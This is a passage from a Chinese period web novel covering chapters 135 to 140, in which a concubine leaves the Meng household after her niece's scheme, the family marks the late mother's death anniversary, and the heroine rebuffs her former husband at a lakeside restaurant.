说是既然老爷重新入了朝,让她在老爷面前提携一下胡家的晚辈,顺便给守寡的赵佩兰介绍一名勋贵人家。
胡姨娘不同意。
兄长就骂她冷血无情,与她大吵一架后,把赵佩兰丢下后独自走了。
她了解兄长,不做无本买卖。
她对嫡姐感情不深,对这位表侄女,更没有多深的感情。
胡家没名没号的,再加上赵佩兰身上克父克母克命,这样三重让人却步的体质。
还想让她给介绍京中勋贵做续弦,怕是在想屁吃。
胡姨娘当时便安排了人,准备把赵佩兰送回去。
可赵佩兰哭着求她说,所有人都觉得她命硬克亲,不喜于她。
让胡姨娘收留她一段时间,等舅父消了气她就回去。
胡姨娘想着赵佩兰说的也算有些道理,心一软,便把她先安置在了田庄。
结果第二日,田庄又出了事。
城外流民入京,城内客栈爆满。
胡姨娘不得不先把她带入孟府。
昨日她去谈了一处民宅,本来已经和人约好了,今日巳时就去购买下来,让赵佩兰先住那里。
可,老爷只是回来半柱香的功夫。
她便不知廉耻,悖逆人伦的跑到老爷的屋子里,想要替老爷去宽衣解带。
而胡姨娘也是事发后,才知道他兄长打的主意竟然是——
让赵佩兰替她来服侍老爷,诞下绵延两家血脉的子嗣。
他们究竟是怎么敢的?!
他们哪怕是派出一个丫鬟,一个风尘女子。
她也不至于这般在老爷面前抬不起头来。
可他们安排的竟然是自己的表侄女!
还是由自己亲自一步步带入府中的。
现在想来,那田庄的泼皮,只怕也是胡家派来的。
孟南枝已经从胡姨娘和赵佩兰的对质中,推断出大致情况。
这比她通过巨幕得知沈卿知娶了林婉柔做平妻,还要让她难以理解。
先不说廉耻不廉耻的。
父亲,已经是知命之年了啊。
而孟南枝也是第一次知道,胡姨娘和父亲之间……
她一直以为父亲虽对胡姨娘谈不上相爱,但对她至少是相敬如宾的。
可今天所听到的结果,让她大受震惊。
她一时不知是该感叹父亲对母亲的情深,还是指责父亲对姨娘的薄情。
赵佩兰被打了一巴掌后,还在嘴硬,“姨母,舅父都是为了你好。”
那一脸据理力争的模样,哪里还有孟南枝初见时的半丝温顺。
“为我好?”
胡姨娘气得浑身发抖,“他那是为了他自己,为了胡家,他何时曾真正地为我考虑。”
“而你,怎么也算是被老夫人亲自教导,读过诗书的人,怎么能同意他的提议,做出这种事!”
赵佩兰并不认为自己有错,“因为舅
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父说,以前给你安排的丫鬟,都被你拒绝了啊,而且若是安排丫鬟,真得了势,又岂会**家掌控。”
唯有胡家的血脉,才能将胡家和孟家真正地绑在一起。
若非不是胡家找不来其他人,她何至于厚着脸皮,不顾廉耻地亲自上场。
“简直荒谬!”
胡姨娘声音发颤,“胡家当年是把我送给那人做小妾,打的就是把我卖出去的主意。从他们做出那个决定的时候,就没真心把我当作胡家人。”
“后来看我做了老爷的妾室,觉得有利可图,就利用我娘反复拿捏我,这么多年,即便老爷不喜胡家,又何时曾短了胡家。”
“你们行此计策,简直是丧心病狂,为了那所谓的利益,竟连最基本的伦理道德都不顾,你们何时有曾想过我的脸面。”
“姨母,脸面哪有子嗣重要。”赵佩兰依旧道:“唯有子嗣才能成为你的依靠。”
“我不需要!”
胡姨娘跟她难以沟通,捡起地上的布条,又重新塞入她口中。
赵佩兰再次被堵了嘴,呜呜地往她身边移动。
胡姨娘即失望又恶心地看了她一眼,上前两步走到孟正德面前。
突然跪在地上,垂首道:“老爷,此事是胡家糊涂,一切罪孽皆因妾身未能及时发现、劝阻而起。”
“妾身愿求一纸放妾书,离府而去。只求老爷看着妾身多年安分的情分上,饶过佩兰的性命,所有罪责妾身一人承担。”
她现在已经完全没脸待在孟府了。
多年维持下来的情面,全被她的兄长和眼前这位表侄女给搞没了。
“姨娘!”
孟南枝疾步走到她身边,想要去扶她起来,并对父亲道:“爹,此事并非姨娘的错。”
这么多年,胡姨娘对父亲、对她、对孟家,并无丝毫过错。
错,只因她没有一个好的原生家庭。
而身为一个女人,没有子嗣,对她来说确实谈不上公平。
孟正德目光落在这个和他相持半生,比他夫人还陪伴他更长久的妇人身上,眸色深暗:
“既然你想好了,那老夫便如了你的意,给你放妾书。”
第136章 可今天是**忌日
父亲竟然同意了。
孟南枝难以维持一向冷静的表情,“父亲!”
可对她一向宠爱,视她如命的孟正德,此刻却并未理会于她。
他的目光,始终定格在距离他半丈远,虽是跪着,脊背却挺得笔直的胡姨娘身上。
低垂着头的胡姨娘并无感觉,她闻言身子微颤。
表情似笑非哭,“妾身多谢老爷成全。”
又重重地施了一礼后,胡姨娘才缓缓起来,站直身子。
只是那刚刚跪着的青石板处,明显有两滴潮湿,逐渐晕染,暗淡下去。
再抬头的胡姨娘面色如常,她抚平身上的褶痕,缓步走到柜箱处。
取出纸墨纸砚,端过来摆到孟正德面前。
“还请老爷写下放妾书。”
语气平淡,不卑不亢。
与往日里总是顺着父亲的模样,完全像是两个人。
孟正德重重地看了她一眼,表情没有任何变化,伸出消瘦的手指,提起毛笔便准备写字。
孟南枝终是忍不下去,夺过他手中的毛笔。
“父亲,你到底有没有听女儿说话,这不是胡姨娘的错。”
说罢,她又转头看向胡姨娘,语气轻缓地劝慰道:“姨娘,这不是你的错,你何苦要将所有责任都往自己身上揽。”
“胡家是你的本家这没错,可这些年他们从未真心待你,你又为何一定要为了他们所犯的错,这般委屈自己。”
“父亲他只是一时气话,姨娘你先去歇息一下,这件事交由我来处理好不好?”
孟南枝言辞诚恳,她不希望父亲和胡姨娘因为一个外人而起了嫌隙。
然而,胡姨娘却依旧未去看她,只静静地说道:“枝枝,还请把笔还给老爷。”
“枝枝,把笔还给为父。”孟正德也是难得对女儿语气严厉。
两人目光一致,语调一致。
孟南枝握住毛笔的手指僵了僵。
“枝枝!”孟正德语气重了几分。
胡姨娘从她手里拽过毛笔,双手递到孟正德手里,并亲自为他砚墨。
孟正德没有犹豫,在宣纸上落下“放妾书”三字。
【今有妾胡氏,自入府二十三栽,勤谨持家,未有过失……即日遣归,听其自择良缘,另觅归宿。
此后男婚女嫁,各不相干,府中上下不得再以旧主身份相扰。立此为据,永无反悔。
夫孟正德亲笔
景和十三年秋七月十二日】
一纸写罢,孟正德又从怀中掏出私章,盖印。
轻轻吹干后,双手递到胡姨娘手中。
胡姨娘接过放妾书,小心翼翼地折叠起来,放入怀中,对他微微施礼。
“民女胡玉柠多谢孟相多年相照,此生,就此别过。”
她在说完这句话后,转身就往厅外走。
“姨娘。”
孟南枝追上她,挽住她的手腕,“姨娘,为什么?”
为什么一定要走。
胡姨娘停下来,默了几息才转过头,看向孟南枝。
她有些发红的眼尾带着湿气,满是细纹的脸上挂着僵硬的笑。
抬手替孟南枝捋了捋发丝,又轻拍了拍她的手背,才带着哽气道:“枝枝,我先去收拾东西。”
说罢,便松开她的手,扭头离开。
孟南枝又追了两步,见她步伐实在坚决,这才转身回到正厅。
她盯着地上还在不停蛄蛹的罪魁祸首赵佩兰,抬手按了按脑壳,满眼都是戾气,“来人,把她给我关到柴房,先饿上三天再说。”
厅门打开,刘嬷嬷带着月芹和月满,小心翼翼地走了进来。
三人静悄悄的,没敢发出一点声音,抬着赵佩兰就往外拖。
被堵了嘴的赵佩兰扭动着身子,想要挣脱,被刘嬷嬷重重地打了一巴掌。
孟南枝盯着她因用力而露出的半截玉足,眸子暗了暗。
“给她穿好衣服!”
“是,姑娘。”
刘嬷嬷俯身应了一句,这才又赶紧离开。
厅内没有了外人,孟南枝看向在主位上一动不动,只顾喝茶的父亲。
从他手中夺过茶盏,重重搁置在桌案上,发生“砰”的声响。
“父亲今日这般强势,是想让人看你大显夫威呢?”
孟正德面上挂了不自然的笑意,“枝枝这是寻爹发什么脾气呢。”
“你还笑。”孟南枝更加生气,“你明知道这件事都是胡家的意思,跟胡姨娘没有任何干系。”
孟正德点头,“是,爹知道。”
“那你还同意。”孟南枝越发生气。
若非他是
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亲爹,她都想动手了。
孟正德沉思片刻后,觉得没必要瞒着女儿,“我对胡氏并无情感。”
这个孟南枝知道,所以听到父亲如此说,并没有意外。
孟正德接着道:“当年,我当年同意你娘纳她为妾时,便和她说了,若她哪一天想出府,我会给她放妾书。”
孟南枝闻言冷静下来,在父亲身侧坐下。
“可是,父亲,即便是给姨娘放妾书,也不该是在此种境地。你应该知道姨娘是觉得太过难堪,才提出的出府。”
孟正德道:“若无今日之事,她可能这辈子都下不了决心。”
哪怕是自己多年不曾与她同房。
哪怕当初自己逼着她喝下避子药。
哪怕自己为了寻女儿致仕后,日子过得窘迫。
她都宁愿忍着,也不提出离开。
如今她既然提出此事,想是会慢慢放下。
孟正德手指无意识地触碰到桌案上的茶水,蜷起手指看了眼上面沾染的水渍。
声音有些低沉,“她不该被困在这里。”
孟南枝蹙眉,父亲的想法她多多少少了解了些。
但并不能完全理解。
“可是父亲,姨娘年纪大了,你这个时候放她出府,让她何去何从。”
孟正德搓捏掉指尖的水渍,端起茶盏轻抿了一口。
凉茶入胃,清肠冷脑。
“她虽然是小户人家出身,但她聪慧、本分、守规矩,这些年又学会了经商,做得还不错,出了孟府过得也不会差。”
他只是不在意,并不代表**。
从她开始学经商,被人哄,被人骗。
再到她一步步学会了和人耍心眼儿。
若非他背后由着她,胡氏绸缎庄的招牌,挂的便是孟氏绸缎庄了。
“可是……”
孟南枝想不出该用什么话来劝说父亲。
静了几息,她才艰难地开口,“爹,娘并不希望你这样过一辈子,她当初为你纳了胡姨娘,就是想让你和胡姨娘好好地过日子。”
“这么多年都过来了,何至于临老了,突然就顺着她,让她离开呢。”
孟正德闻言放下茶盏,眸中不断涌动着各种复杂的情绪。
半晌,他才艰涩地说道:“可今天,是**忌日。”
第137章 胡姨娘离府
父亲这话仿佛是从喉间硬挤压出来的。
他鼻翼微微翕动,带着被风呛住般的抽气。
孟南枝见父亲这般模样,突然就掩鼻红了眼眶。
她早起给父亲写信时,就是想问一问他有没有空回府。
祭拜娘亲时,要不要等他。
哪想待他急忙忙完,赶回来会碰上这么一档子破事。
孟正德很快就调整好情绪,起身轻拍了拍女儿的肩膀。
“走吧,去看看你娘。”
两人走到祠堂时,才发现胡姨娘早已吩咐丫鬟把祭拜用品准备妥当。
孟南枝盯着桌案上沾着朝露、开得正艳的稚菊,满心复杂地看了眼神色肃穆的父亲。
这些年,府中大大小小事物都由胡姨娘料理。
她早已成了府中不可缺少的一部分。
如今却走到这一步,不知是对还是错。
娘亲的灵牌被擦拭得一尘不染,案前摆放着三碟她生前最爱吃的糕点。
孟正德抬手抚摸刻有爱妻名字的牌位,眸中全是眷恋和自责。
良久,他才取出三柱香点燃,递了一柱给女儿孟南枝。
自己则捧着两柱走到供桌前,弯腰插入铜炉。
“对不起,夫人,我今日来晚了。”
说到最后一个字时,他语气中明显带了哽咽。
孟南枝闻言双目也噙了泪,走上前把手中那柱香插入铜炉,低喃道:“娘,对不起,女儿也来晚了。”
娘亲已经整整十年未曾在此见过她。
她也缺席了娘亲整整十年的忌日。
不知道这十年,父亲究竟是怎么熬过来的。
孟正德取出一旁的酒壶,倒了两杯米酒。
一杯洒在供桌前的青砖上,一杯递给孟南枝,“陪你娘喝杯酒吧。”
孟南枝接过酒杯,对着娘亲的牌位轻轻一敬,把酒缓缓洒在地上。
酒液渗入青砖,带着清甜的香气。
“娘,您放心,我和爹,还有孩子他们都很好。”
顿了顿,孟南枝又道:“胡姨娘也很好,她把爹和我都照顾得很好,没有辜负您的信任。”
孟正德闻言,转过头看她,见她迎着光和夫人八分相似的神情,喉结动了动。
最终什么也没说,只是轻拍了拍她的肩膀。
再抬目,却发现门口多了道熟悉的影子。
胡姨娘重新换了一身素净的衣裳,走到牌位前跪下来。
同样倒了一杯酒,轻轻洒在地上。
“夫人,对不起。”
“玉柠没能做到照顾老爷一辈子的承诺。”
“玉柠要离开了,谢谢您当年的照拂。”
说罢,她重重地连磕了三个响头。
孟南枝轻拭眼角,上前挽住她的臂腕,“姨娘。”
胡姨娘同样擦了擦眼泪,随她站起来,缓步走出祠堂。
天空出了太阳,光线洒在她的脸上,多了份润泽。
她扭头看了眼依旧还在祠堂里的孟正德,眸中多了丝释然。
轻拍了拍孟南枝的手背,胡姨娘道:“我已经和丫鬟说了,即便我离府,也要每日来清扫祠堂,保证夫人每日都干干净净漂漂亮亮的。”
“老爷……你爹他,其实这几年身子一直不大好,有消渴症,不能食甜,每日的汤药万万不能断了。”
“双腿也不太好,天气稍微凉一点,膝盖就疼得受不了,我做了好些护膝,就在我房中的柜子里,你到时提醒他记得穿。”
“另外,我发现他这两日可能耳朵不是太好,与他说话时声音要比平常大一点才能听清,你记得等他这两日闲了,寻太医给他诊看一下。”
“还有……”
一字字,一句句。
无一不是对父亲细心的关怀与挂念。
“姨娘!”
孟南枝喉间酸涩,娘亲故后的这些年,胡姨娘早已成为她不可割舍的亲人。
回想这些年胡姨娘对她无微不至照顾的模样,孟南枝拉扯着她的衣角哽气道:“不离开不行吗?”
在这一瞬间,她感觉自己就像是被亲人抛弃的孩子。
胡姨娘看到她这般孩子气的模样,别开脸,擦了擦眼角的泪水。
又从袖中掏出一纸信封,轻轻放在孟南枝手里。
“这里面是我这些年记录的一些日常注意事项,还有老爷的口味偏好,你收好,以后……以后就靠你多费心了。
孟南枝盯着手心里信封,指尖颤了颤。
胡姨娘又道:“枝枝,你回来后一直在忙,老爷……你爹他虽然没说什么,
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但他心里其实一直都挺担心你的,有事别自己硬抗,多和你爹说说。”
孟南枝不死心,“真的不能留下吗?”
胡姨娘再道:“枝枝,若不嫌弃,以后便唤我柠姨吧。”
孟南枝终于确认胡姨娘的决心,泪珠滴在信封上,晕开一片。
吸了吸鼻子,她嗡声道:“柠姨。”
胡姨娘见状同样泪珠如线一样落下来,抬手将她视若女儿的孟南枝拥在怀里。
轻拍了拍她的后背,“枝枝,你和孩子都要好好的,我就住在城南,你有事,可以去寻我。”
“嗯。”
孟南枝双手抱住她,重重地点头,“我们还是一家人。”
“傻孩子。”
胡姨娘松开她,拿起帕子替她擦掉眼泪,嗔笑道:“我又没走远,哭什么。”
孟南枝抿了抿唇。
没说话。
也说不出话。
“我走了。”
胡姨娘再次扭头看了眼祠堂的方向,微微一笑。
只是那笑容里,除了释然后的轻松,还带着难以言说的落寞。
直到目送胡姨娘离开,孟南枝的心情都是低落的。
刘嬷嬷双目痛红,带着刚哭过的肿意。
她一脸自责道:“姑娘,都怪老奴,是老奴有负姑娘的嘱托,没盯好赵姑娘。”
老爷回来沐浴净身,谁能想到胡姨娘的表侄女竟然会钻进去。
孟南枝摇头,“跟你们没关系。”
她是铁了心地想生事,谁也拦不了。
孟南枝眸色暗了暗,“把她舌头割了,好生看管起来,谁来也不能把她带走。”
父亲承诺胡姨娘饶了她的命。
但孟南枝不把她弄个半死,这事儿没完!
还有胡家。
“把胡家所有亲属的信息全都捋一遍,违法乱纪,欺男霸女的,全都把证据送到府衙,按律处置。”
“暗里安排几个得力的护卫,去胡姨娘的宅子附近盯着。”
“若有**者,看情况该杀杀,该绑绑,总之别让胡姨娘出事。”
顿了顿,孟南枝又道:“把胡姨娘那边的情况,时不时的传给福伯。”
刘嬷嬷怔了一下,连连应是。
姑娘这是想让老爷对胡姨娘上点心呢。
第138章 大衍湖,水满
父亲孟正德直到临近午时,才从祠堂里出来。
除了眼尾泛红,和带着满身线香气外,孟南枝看不出他有任何情绪上的异常。
暗暗叹了口气,孟南枝起身为他沏了茶。
孟正德端起茶盏轻抿了一口,“珩儿画的那张地图不错,我已经送到了职方司,并为他落了名,回头你让珩儿去拿下备案文书。”
孟南枝点头,“谢谢爹。”
有了备案文书,次子沈砚珩以后画地图时,就可以光明正大地以职方司备案画师的身份行事,不必担心遭人诟病或举告。
将茶盏放在桌案上,孟正德又道:“这几日雨水增多,正值汛期,周边临县房屋有淹,京都内河水也要漫延到岸边。”
“为了避免上积水淹至农田和庄户,我在回府前,已经安排了河工去打通大衍湖的上游,准备将水流重新引入大衍湖。”
孟南枝拿起茶壶为他沏茶的手指,僵了一下。
脑海中不由自主地回忆起自己在大衍湖底淹死的画面。
孟正德在说这话时,一直注意着女儿的情绪变化。
见她情绪还算冷静,才又接着道:“你若想去看看,记得多带上两个人陪着。”
女儿心中有结,他是知道的。
但大衍湖又何尝不是他的心结。
“好。”孟南枝颔首。
孟正德又交代了一些锁事,简单就膳后便又去了官署。
孟南枝站在厅堂的台阶上,盯着空旷的院落,微微失神。
良久,她才揉了揉发酸的眼睛,叫上月芹和月满随她一起出府。
街上的行人依旧不多,偶有出来的,还带着外地口音。
护城小河的水确实已经漫延到到岸边,路两侧都是积水。
马车碾过时,掀一层层污浊的涟漪。
孟南枝没去爬山涉水的跑去上游,而是直接去了大衍湖。
湖侧耸立的聚香楼已经开着门,但却没什么生意。
店小二也没在门口侯着,而是肩膀上搭了条布巾,站在湖边看热闹。
直到被人提醒,才发现门口停了辆马车,忙疾步跑过来迎客。
见是孟南枝,态度更加恭谨,“夫人,里面请。”
孟南枝扫了眼湖边围观的众人,直接上了二楼的雅间。
贾掌柜原本正半躺在椅子上,有一搭没一搭地哼着小曲,往嘴里扔着花生米。
听到店小二汇报说孟南枝了上二楼,刚扔进嘴里的花生米卡在喉咙口,差点把他呛个半死。
在店小二的帮助下,才面红脖子粗地把那颗花生米都吐出来。
他后怕地拍了拍胸口,“她自己?”
店小二道:“带了两个丫鬟。”
贾掌柜点头,“行,照将军的吩咐,让厨子做几道她喜欢的菜。”
说罢,贾掌柜整理了下衣装,轻拍脸颊,练习两遍面目上的微笑表情。
准备上楼亲自招待,如今被他定义为半个主子的孟南枝。
哪想他刚走出门,便见一道人影已经比他快一步上了阁楼。
暗骂一声窝草后,麻溜地往楼上跑。
雅间还是长子沈砚修常坐那间。
孟南枝没有犹豫直接站在了窗台前。
上游已经被河工打通,银亮的水线顺着带着轰鸣声由远处砸向湖底。
细细的水流在皲裂的泥地上画出蜿蜒的银蛇,转瞬便汇聚成奔腾的水龙,顺着裂纹四处漫溢。
惊得还在啄泥的麻雀,四处乱水。
水势逐渐上涨,漫过枯黄的芦苇根。
湖边围观的百姓或惊呼或感叹。
“十年了,这湖终于又存水了。”
“是啊,十年前这里多热闹啊,垂钓的、卖花的、游船的。”
“自从镇北侯的夫人在这里溺亡,镇北侯让人把上游的水截断后,这里一下子就冷清了。”
“可不是么,我家就是做卖花生意的,自从这湖水干涸后,湖水时不时地发生腥臭味,在这卖花都没人买了。”
“我家是做游湖生意的,没了营生,连买船的本钱都没赚回本。”
“还说你们,我们这些喜欢的钓鱼的,还要跑上个二三里,跑到城边去钓。”
“你们听说没,镇北侯的夫人回来了。”
“这么大
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的事怎么没听说,那么恩爱的两人竟然和了离。”
“别说这些了,家家有本难念的经。”
“听说这这次挖开上游是孟相下得令,只希望这大衍湖能恢复从前,咱这些普通百姓也能指望它再做点小营生。”
“对,对,大人物的家事跟咱又没关系。”
“只盼别再泼及咱们。”
孟南枝听着百姓的议论,发出一丝苦笑。
她没想到自己溺亡后,会对他们造成这么大的影响。
随着湖水的漫延,空气潮湿,微风吹过,孟南枝感觉到一丝凉意。
正准备转身时,一件黑色披风搭在了她的肩上。
孟南枝抬头,对上沈卿知布满深情的一张脸,“南枝。”
孟南枝瞬间觉得那披风上都带着一股恶心人的气息,硬生生躲开。
披风落在地上,她连看都不看地一脚踢到一边,“镇北侯这是跟踪我来的?”
“我是过来吃饭,碰巧在楼下看见你的马车,这才过来瞧瞧。”
沈卿知捡起地上的披风,轻拍了拍上面的尘土。
实际上,他确实是故意跟踪来的。
他今日又被曹景行安排的任务,拖到了午时。
越想越觉得不能坐以待毙,连午膳都没吃,想去孟府寻孟南枝好好的联络一下感情。
哪想刚到巷口就看到孟南枝坐上了出府的马车。
一路跟着,才发现她竟然是来了这里。
看了眼大衍湖内逐渐漫高的水位,沈卿知眸色暗了暗。
“当年你溺水后,我派人打捞了整整两天都没寻到你。修儿那时还小,哭着闹着要跳湖寻你。”
“没办法,我只能打晕他,想尽了办法,托了很多关系,还求到了太后面前,才得到了工部的同意,将大衍湖上游的水改道而行。”
“湖水挖干后,还是没有寻到你,我就又派人满城贴画像地寻你,到处找你。”
“南枝,这些年没能照顾好修儿他们,确实是我失了职,但我对你的心意,你应该是知道的。”
说到此处,沈卿知红了眼眶,落下一滴眼泪。
第139章 不如坐下来谈谈
迟来的深情比草贱。
更何况还是假深情。
孟南枝盯着他眼角作态般的眼泪,生了笑,“镇北侯说这话,不怕遭雷劈吗?”
沈卿知见她不为所动,收起眼泪,将披风叠起来放在椅子。
依旧眉目深情,言语诚恳道:“南枝,这些年我无时无刻不在后悔当初没有先救你,你怪我也是应当的。”
“自你回来,我也一直在和你解释,可你半句不听,一心只想和离。我同意和离,也是想让你消消气,冷静一段时间。”
“这段时间我也在反思,你生了病,我应该多照顾你的情绪,而不是任着你胡闹,同意和离一事。”
孟南枝冷笑一声打断他,“沈卿知,你是老的记不清当初为什么签了和离了吗?”
沈卿知面色稍僵,抬手摸了摸自己唇上的短须,上前一段试图握住她的手,“南枝,我与你夫妻十几载,你该了解我,我当时也是为了孩子考虑。”
“我只有稳住婉柔,靠着林父将职位再进一步,才能给修儿他们谋划更好的未来,沈家的爵位才能保得更稳固。”
孟南枝避开他的手,“为修儿他们?沈卿知,亏你也能说得出口,这些年你为了个人利益,何时曾管过他们。”
想到这些年三个孩子的经历,孟南枝面色不善地抿了抿嘴,看向沈卿知的目光更加冷峻。
沈卿知收起被她避开的手,丝毫不觉尴尬地又与她凑近了些。
看着孟南枝一如十年前那样娇嫩的脸,抬手想要轻抚,“南枝,对于孩子我是有亏待,但对于你,我始终如一。”
“沈卿知,你知道恶心两个字怎么写吧?”
孟南枝一巴掌打开他的手,从间取下金簪抵在他胸前,“往后退,离我远点。”
沈卿知还想往前逼进,被他关上的门突然被大力推开。
“夫人,您的茶水和点心上来了。”
贾掌柜端着拖盘走进来,头也不抬地就往雅间里面走。
直直撞到沈卿知的身上,托盘中提前倒好的茶水撒了他一身。
“唉呀,瞧瞧小的,竟然没看到侯爷还在这里,侯爷您没事吧?”
贾掌柜慌忙拿着布巾去给他擦衣服,只是那布巾上沾了菜渍,导致沈卿知的衣服越擦越脏。
他刚才在外面听了半天墙角,这镇北侯也忒不要脸了。
自己娶了平妻,把几个孩子教歪不说。
夫人回来后,为了利益签了和离,眼下见前岳丈成了右相,竟然又忙不迭地跑到夫人面前诉真情。
他以前养的狗都没镇北侯这么不要脸。
水,是热水。
沈卿知被撒水的地方不仅发疼,衣服还在冒烟。
更何况他穿的还是官服,现在又被贾掌柜搞得油腻一片。
瞬间火从心起,“你个不长眼的狗东西,是想害死本侯吗?”
沈卿知怒目圆睁,一把推开贾掌柜。
然,没推动。
贾掌柜的肩膀好似铁板,底盘也很稳,依旧拿着布巾替他擦试。
“侯爷息怒,是小的没长眼睛,小的这就给您擦干净。”
“够了,不用你擦。”
见推不动,沈卿知下意识便往后退,不想他把自己的官服越擦越脏。
贾掌柜见好就收地收起布巾,恭恭敬敬地俯身道:“侯爷,小的这里有些未穿过的常服,要不您去换一件?”
沈卿知看着被他擦得油亮的官服,满心悔气,“不用,你退下。”
贾掌柜闻言双目睁大。
什么玩意儿,这还不走?
还想留在这继续骚扰孟夫人呢。
那怎么行。
想了想他又对着孟南枝躬身福了一礼,“夫人,您看这屋里脏了,要不要换一个雅间。”
孟南枝重重地看了他一眼,笑道:“不了,我改日再来。”
沈卿知一听,急了眼,“南枝,我话还没说完。”
孟南枝头也不回地抬步就走,“我不想听。”
“南枝,你等等。”
沈卿知见状,急步上前想去拽住她。
哪想脚下一绊,整个人直接摔落在地上,四肢贴地。
沈卿知被摔得全身发疼,正欲发火,头顶便传来一道温润的轻响。
“沈兄见到本官,也不至于行这么大礼。”
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>曹景行身着锦衣常服,如同松柏般站在他的脚边。
贾掌柜默默地收起脚。
这位爷怎么来了?
沈卿知的人品,他动手脚,将军还能给他撑着。
眼前的曹国公世子,他可不敢动歪脑筋。
帮不了将军忙,他只能自求多福了。
曹景行言罢,对侧站在的孟南枝微微颔首,“南枝。”
孟南枝浅笑点头。
即不亲昵,又不失礼。
沈卿知眸色阴暗,双手撑着站起身子,恭敬地行礼,“曹侍郎,您怎会来此?”
“刚忙完,过来吃饭。”曹景行似随口应道。
言罢,目光落在他被弄脏的官服上。
曹景行的唇角勾了勾,“沈兄倒是敬业,连衣服都未换,想来这是急着还要去官署吧?”
这是又逼着他工作呢。
沈卿知拱手道:“是,下官本也是出来吃完饭就继续回去。”
曹景行点了点头,“沈兄这些天整理出来的历代科举文献都特别好,我会向上锋举荐下次科举,由你负责誊录一职。”
沈卿知闻言喜形于色,“下官,谢曹侍郎提携。”
孟南枝听到此处却是眸色微变。
巨幕中,沈卿知确实任职誊录官一职。
还在誊录考卷的过程中,发现舞弊一事。
由他揭发此事后,在上锋和圣上面前更加的脸。
参加科举考试的学子也都以他为榜样,说他刚正不阿,不畏权贵,是朝中难得的清流。
这也是为什么长子他们出事后,沈卿知能保住沈家的另一部分原因。
“既然如此。”曹景行话说一半。
沈卿知立马拱手接上下半句,“那下官这就继续回官署工作,不耽误曹侍郎用膳了。”
曹景行颔首,“沈兄辛苦了。”
“曹侍郎辛苦。”
沈卿知又拱手行了一礼,目光复杂地看了孟南枝一眼,大跨步离去。
孟南枝也对曹景行福了一礼,“曹侍郎慢用,我也先走一步。”
曹景行目光落在她手中那支金簪上,唇角微弯。
“不如坐下来谈谈?”
第140章 将军府,能进吗?
雅间被重新打扫干净。
曹景行站在窗台前,看了眼大衍湖还在往上漫延的水位。
回身坐在孟南枝的对面,亲自为她添了茶水。
孟南枝的金簪已重新插回发间,轻扶茶盏道:“多谢曹侍郎。”
这是她今日第二次以官职称谓唤他了。
曹景行默了几息,开口道:“我出官署时,才得知孟叔叔今日下了打通大衍湖上游的令,本想路过看一看,倒没想到会碰到你与沈兄。”
这是在解释他并非刻意前来,缓解她的压力。
孟南枝闻言浅笑,“你应知我并非介意此事。”
曹景行眸色微闪,她的心思他已经从姐姐那里得知。
便坦然笑道:“联姻之事,本也不是定数,你无心再婚,我也暂时无心再娶,你我照常相处便是。”
至于以后,日子还长。
再说便是。
两人之间到底有着从小一起长大的交情。
既然曹景行已经把话说到这种地步,孟南枝也不愿因这事与他生出隔阂来。
她眸色柔和了几分,抬手对他示意道:“你不是还没用膳吗?快吃吧。”
曹景行点头,率先拾起木箸夹菜,“我们也算是很多年没坐在一起吃饭了。”
“是,记得上次一起吃饭,你才这么高。”
孟南枝比画了一下他当时的身高,不过是个十岁大的孩子。
后来长大后,因为要避嫌,就没有单独坐在一起吃饭了。
曹景行盯着她的举动,笑意更浓,“你那时不也这么高,好像还没我高。”
“哪有,我比你要高一点。”孟南枝伸手比起半指宽的高度。
“行,你说得对。”曹景行失笑,举起茶杯。
孟南枝对他对视一眼,也失笑,举起茶杯和他隔空碰了一下。
喝完茶水,曹景行才正色道:“施粥之事,还要多谢你。”
孟南枝摇头:“不用,宛清姐谢过了。”
曹景行颔首,“有些事,不方便和我姐说太深。”
孟南枝明白,他们家最单纯的就是他姐。
曹景行接着道:“我父亲查到的粮商,可能跟二皇子的势力有关,但我总觉得不对劲,线索有点太直白了。”
“那就再细查一下,总归是时间的问题。”
孟南枝没有多说,暴露过多没什么好处。
再说曹国公府行事还用不到她的指点。
曹景行再次点头,“行,有你这句话,我就明白了。”
这件事到底是孟南枝先提出的,他和父亲都觉得她应该知道得会更细更深一点。
只是她不说,他们也不好明问。
或许该让父亲再多和孟相聊聊。
两人又闲聊了两句,便各自告辞。
自始至终,孟南枝都没多问沈卿知是否真的会被推荐誊录官一事。
有些事,太过刻意反而落了下乘。
而且,她明知沈卿知走的一直都不是太子这条路。
马车沿着街道绕了个弯,确认曹景行的马车已经走远后,孟南枝就又拐了回去。
刚刚收拾完松了口气,斜躺在竹榻上的贾掌柜吓了一跳。
“夫、夫人,您怎么又回来了?是不是漏拿了什么东西?”
他特意检查过了,现场明明什么也没留下啊。
“将军府,能进吗?”孟南枝面带浅笑。
贾掌柜不语,装傻道:“啥?夫人,什么将军府?我一个掌柜得怎么能进将军府呢。”
可那表情明显是此地无银三百两。
孟南枝笑意更浓,“主子,谢归舟。”
贾掌柜:……
将军连这都和孟夫人说了啊。
还说让他保密不要露馅,结果自己还不是啥都和人讲。
自己人瞒自己人,有意思么。
默默吐槽了两句,贾掌柜愈发恭敬道:“能进,只要夫人想进,随时可以进。”
孟南枝眸色暗了暗,松出一口气。
还真是他。
刚刚贾掌柜被沈卿知推开,却推不动时脚下的马步,明显是练家子。
想到自己之前来过几次的画面,贾掌柜不同寻常地恭敬。
与谢归舟一起来那次,他又明显刻意地拘束。
所以在他刚刚帮她,还敢那么大胆地去绊沈卿知。
孟南枝第一怀疑便是他背后的主子是谢归舟。
这才
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在与曹景行分开后,又特地绕了回来。
想此,孟南枝点了点头,“带我去。”
贾掌柜哪敢推辞,连原因都不问,直接起身带她去将军府。
……
城门口。
沈砚珩和江鱼两人时刻注意着甄少兴。
见他那边施粥完毕准备离开时,也连忙一前一后跟了过去。
沈砚珩客气地问道:“甄公子,你们忙完了?准备回呢?”
甄少兴目光落在他那明显比沈砚修稚嫩的脸上,眸中闪过兴味,“忙完了,有事?”
沈砚珩脸上的笑比假山还假,“是这样,我之前总听我哥夸你为人仗义,处事周全,所以我就一直对你心存仰望之情,想与你结识一番。”
甄少兴挑了挑眉,似笑非笑地看着沈砚珩,“哦?你哥还会夸我?那还真是让我有些受宠若惊了。”
谁不知道他与沈砚修有矛盾,还明争暗斗过。
眼前这个他看不眼里的**小子打什么主意呢。
沈砚珩继续说道:“反正现在结束了,要不一起吃个饭?”
甄少兴抬眉扫过他身侧的江鱼,“好啊。”
一直默默干活、不敢偷懒的沈旻见状,小跑着跟过来,“珩弟,你们这是去哪?”
沈砚珩道:“旻哥,结束了,你先回去吧,我们还有事。”
沈旻迟疑道:“可是孟夫人说让我跟着你。”
